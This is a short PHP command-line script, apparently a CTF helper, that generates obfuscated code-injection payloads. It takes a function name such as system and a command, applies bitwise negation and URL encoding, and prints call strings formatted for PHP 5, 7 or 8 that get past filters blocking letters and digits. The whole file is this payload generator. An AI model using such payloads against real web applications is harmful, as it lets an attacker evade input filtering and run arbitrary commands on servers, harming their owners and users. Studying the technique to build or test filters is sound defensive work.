字符串取反.php

<?php
//在命令行中运行

/*author FightnvrGP*/

echo("[+] 1.PHP 5.*\n[+] 2.PHP 7.*\n[+] 3.PHP 8.*\n[+] your PHP Version:");
$chooseVersion = fgets(STDIN);
if ($chooseVersion != 1 && $chooseVersion != 2 && $chooseVersion != 3) {
    exit("An option that is not allowed");
}
while (true) {
    fwrite(STDOUT, '[+] your function: ');
    $system = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
    fwrite(STDOUT, '[+] your command: ');
    $command = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
    if ($chooseVersion == 1) {
        if (strlen($command) > 0) {
            echo '[*] $_=~' . urlencode(~$system) . ';$_(~' . urlencode(~$command) . ');';
        } else {
            echo '[*] $_=~' . urlencode(~$system) . ';$_();';
        }
    } elseif ($chooseVersion == 2) {
        if (strlen($command) > 0) {
            echo '[*] (~' . urlencode(~$system) . ')(~' . urlencode(~$command) . ');';
        } else {
            echo '[*] (~' . urlencode(~$system) . ')();';
        }
    } elseif ($chooseVersion == 3) {
        if (strlen($command) > 0) {
            echo '[*] (~"' . urlencode(~$system) . '")(~"' . urlencode(~$command) . '");';
        } else {
            echo '[*] (~"' . urlencode(~$system) . '")();';
        }
    } else {
        exit("An option that is not allowed");
    }
    echo "\n\n";
}